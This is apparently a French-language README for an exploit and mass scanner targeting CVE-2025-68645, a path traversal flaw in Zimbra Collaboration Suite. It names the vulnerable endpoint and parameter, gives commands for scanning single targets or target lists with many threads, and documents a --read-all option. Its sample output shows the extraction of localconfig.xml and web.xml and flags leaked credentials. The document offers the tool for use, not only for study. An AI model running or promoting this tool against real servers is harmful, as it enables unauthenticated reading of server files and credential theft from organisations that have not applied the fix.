CVE-2025-68645 - Vulnérabilité de traversée de chemin dans Zimbra

📋 Aperçu

CVE-2025-68645 est une vulnérabilité de traversée de chemin dans Zimbra Collaboration Suite qui permet à des attaquants non authentifiés de lire des fichiers arbitraires du système de fichiers du serveur.

Point d'accès vulnérable

/h/printconversations?javax.servlet.include.servlet_path=

🎯 Impact

📁 Fichiers lisibles

🚀 Utilisation

Scan d'une seule cible

python CVE-2025-68645.py.py -t https://target.zimbra.com

Scan de masse

python CVE-2025-68645.py.py -l targets.txt -o results.json --threads 20

Options avancées

python CVE-2025-68645.py.py -t https://target.zimbra.com -v --timeout 30

📊 Arguments de la ligne de commande

Argument Description Défaut -t, --target URL de la cible unique None -l, --list Fichier contenant la liste des cibles None -o, --output Nom du fichier de sortie results.json --threads Nombre de threads concurrents 10 --timeout Délai d'attente de la requête en secondes 15 -v, --verbose Activer le mode verbeux False --no-verify Désactiver la vérification SSL False --read-all Lire tous les chemins sensibles False

📸 Example Output

[*] Scanning: https://target.zimbra.local [✓] VULNERABLE: https://target.zimbra.local [+] Extracted configuration: version: 220726130125 memcached: target.local:11211 httpsPort: 8443 httpPort: 8080 [+] Found: /WEB-INF/web.xml [+] Found: /opt/zimbra/conf/localconfig.xml [!] Possible credentials leaked in /WEB-INF/web.xml

============================================================ SCAN COMPLETE! Time elapsed: 1.02 seconds Total targets: 1 Vulnerable: 1 Not vulnerable: 0